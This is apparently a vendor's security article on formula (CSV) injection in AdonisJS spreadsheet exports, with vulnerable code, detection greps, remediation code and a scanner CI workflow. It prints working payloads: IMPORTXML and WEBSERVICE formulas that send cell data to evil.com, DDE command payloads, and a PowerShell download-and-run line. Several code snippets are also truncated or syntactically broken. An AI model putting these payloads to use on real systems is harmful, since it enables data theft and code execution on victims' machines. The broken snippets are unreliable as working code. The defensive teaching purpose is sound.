HIGH formula injectionadonisjs

Formula Injection in Adonisjs

How Formula Injection Manifests in Adonisjs

Formula injection in Adonisjs applications occurs when untrusted user input is embedded in spreadsheet exports without proper sanitization, allowing attackers to inject malicious formulas that execute when the file is opened in spreadsheet applications like Excel or Google Sheets.

In Adonisjs, this vulnerability commonly appears in controller methods that generate CSV or XLSX exports. Consider a typical export endpoint:

const ExcelJS = require('exceljs');

class UserController {
async exportUsers({ request, response }) {
const users = await User.all();
const workbook = new ExcelJS.Workbook();
const worksheet = workbook.addWorksheet('Users');

worksheet.columns = [
{ header: 'ID', key: 'id' },
{ header: 'Name', key: 'name' },
{ header: 'Email', key: 'email' },
{ header: 'Balance', key: 'balance' },
];

users.rows.forEach(user => {
worksheet.addRow(user.toJSON());
});

response.attachment('users.xlsx');
await workbook.xlsx.write(response.response);
}
}

The vulnerability emerges when user-provided data contains formula syntax. For example, if a user's name field contains =1+1 or IMPORTXML(CONCAT("http://", "evil.com?data="&A1), "//title"), these formulas execute when the spreadsheet opens.

Adonisjs's Lucid ORM doesn't inherently protect against this. When you export data using user.toJSON(), any malicious formula characters pass through directly to the spreadsheet. The ExcelJS library faithfully renders the data, including dangerous formula syntax.

Attackers exploit this by crafting user profiles with formula payloads in various fields. When an administrator exports user data for reporting, the malicious formulas execute, potentially exfiltrating sensitive data from the victim's machine or executing arbitrary commands on their system.

Another Adonisjs-specific manifestation occurs when using the response.download() method with dynamically generated CSV files. CSV files are particularly dangerous because Excel automatically evaluates formulas when opening them, even in "Protected View" mode.

async exportSensitiveData({ response }) {
const data = await SensitiveModel.all();
Object.values(row.toJSON()).join(','));

In this pattern, a single malicious record containing =cmd|'/C calc'!A0 triggers the Windows calculator when the CSV opens, demonstrating how formula injection can lead to command execution on the victim's system.

Adonisjs-Specific Detection

Detecting formula injection in Adonisjs requires both static code analysis and dynamic scanning. Static analysis focuses on identifying export endpoints and data serialization patterns that could propagate malicious input.

middleBrick's API security scanner includes specialized detection for formula injection in Adonisjs applications. When you scan your Adonisjs API endpoint with middleBrick, it analyzes the response structure and content types to identify potential formula injection vectors.

The scanner specifically looks for:

  • Content-Disposition headers with attachment types like xlsx, xls, or csv
  • Endpoints that return tabular data without sanitization
  • Database query patterns that include user-controlled fields in export operations
  • Response headers that suggest spreadsheet generation

middleBrick's LLM/AI security module also checks for additional risks when your Adonisjs application includes AI features. It scans for system prompt leakage and evaluates whether your API endpoints might be vulnerable to prompt injection attacks that could be combined with formula injection.

For manual detection in your Adonisjs codebase, search for these patterns:

grep -r "response\.attachment" routes/ controllers/
grep -r "\.xlsx" controllers/ services/
grep -r "\.csv" controllers/ services/
grep -r "ExcelJS" providers/ startup/

Once identified, test your export endpoints by submitting data containing common formula injection payloads:

Test payload examples:
- =1+1 (basic formula)
- =cmd|'/C notepad'!A0 (Windows command execution)
- =WEBSERVICE("http://evil.com?data="&A1) (data exfiltration)
- =IMPORTXML("http://evil.com", "//title") (external content loading)

middleBrick's continuous monitoring feature in the Pro plan can automatically rescan your Adonisjs export endpoints on a schedule, alerting you if new formula injection vulnerabilities appear due to code changes.

Adonisjs-Specific Remediation

Remediating formula injection in Adonisjs applications requires input sanitization before data export and careful handling of spreadsheet generation. The most effective approach uses Adonisjs's validation system combined with ExcelJS's formula detection capabilities.

First, implement comprehensive input validation using Adonisjs's schema validation:

const { schema } = use('@adonisjs/validator');

const userSchema = schema.create({
name: schema.string({}, [rules.blacklist(['=', '+', '-', '@'])])
email: schema.string({}, [rules.email()]),
balance: schema.number()
});

// In your controller
async store({ request, response }) {
const payload = await request.validate({
schema: userSchema
});

const user = await User.create(payload);
return response.created(user);
}

This prevents formula characters from entering your database in the first place. However, for existing data and cases where you can't control input, sanitize during export:

const ExcelJS = require('exceljs');
const formulaRegex = /^[=+\-@]/;

class UserController {
async exportUsers({ response }) {
const users = await User.all();
const workbook = new ExcelJS.Workbook();
const worksheet = workbook.addWorksheet('Users');

worksheet.columns = [
{ header: 'ID', key: 'id' },
{ header: 'Name', key: 'name' },
{ header: 'Email', key: 'email' },
{ header: 'Balance', key: 'balance' },
];

users.rows.forEach(user => {
const sanitized = Object.fromEntries(
Object.entries(user.toJSON()).map(([key, value]) => {
if (typeof value === 'string' && formulaRegex.test(value)) {
return [key, `\'` + value]; // Prepend apostrophe to neutralize formula
}
return [key, value];
})
);
worksheet.addRow(sanitized);
});

response.attachment('users.xlsx');
await workbook.xlsx.write(response.response);
}
}

The apostrophe prefix ('=) forces Excel to treat the content as text rather than a formula. This is the standard defense against formula injection.

For CSV exports, which are more dangerous because they lack the formula protection that XLSX provides, implement additional safeguards:

async exportAsCSV({ response }) {
const users = await User.all();
const headers = ['ID', 'Name', 'Email', 'Balance'];
{
return Object.values(user.toJSON()).map(value => {
if (typeof value === 'string') {
if (formulaRegex.test(value)) {
return `\'` + value.replace(/"/g, '""'); // Escape quotes and prepend apostrophe
}
return value.replace(/"/g, '""'); // Standard CSV escaping
}
return value;
});
});

const csv = [headers.map(h => `"${h}"`).join(',')];
csv.push(rows.map(row => row.map(cell => `"${cell}"`).join(',')));

response.attachment('users.csv');
response.send(csv.join('\n'));
}

middleBrick's GitHub Action can automatically scan your Adonisjs application's export endpoints during CI/CD. Configure it to fail builds if formula injection vulnerabilities are detected:

name: API Security Scan
on: [push, pull_request]
jobs:
security-scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Run middleBrick Scan
run: |
npm install -g @middlebrick/cli
middlebrick scan http://localhost:3333/api/users/export --fail-on-severity=medium
env:
MIDDLEBRICK_API_KEY: ${{ secrets.MIDDLEBRICK_API_KEY }}

This ensures formula injection vulnerabilities are caught before deployment. The Pro plan's continuous monitoring can then track these endpoints over time, alerting you to any regression.

Frequently Asked Questions

Can formula injection in Adonisjs lead to remote code execution?
Yes, particularly in CSV files where Excel automatically evaluates formulas. Attackers can craft payloads like =cmd|'/C powershell -c iex(New-Object Net.WebClient).DownloadString('http://evil.com')'!A0 that execute arbitrary commands when the file opens on the victim's system.
Does Adonisjs provide built-in protection against formula injection?
No, Adonisjs does not include built-in formula injection protection. You must implement input validation using the validator package and sanitize data before spreadsheet export. middleBrick's API scanner can help detect these vulnerabilities in your Adonisjs application.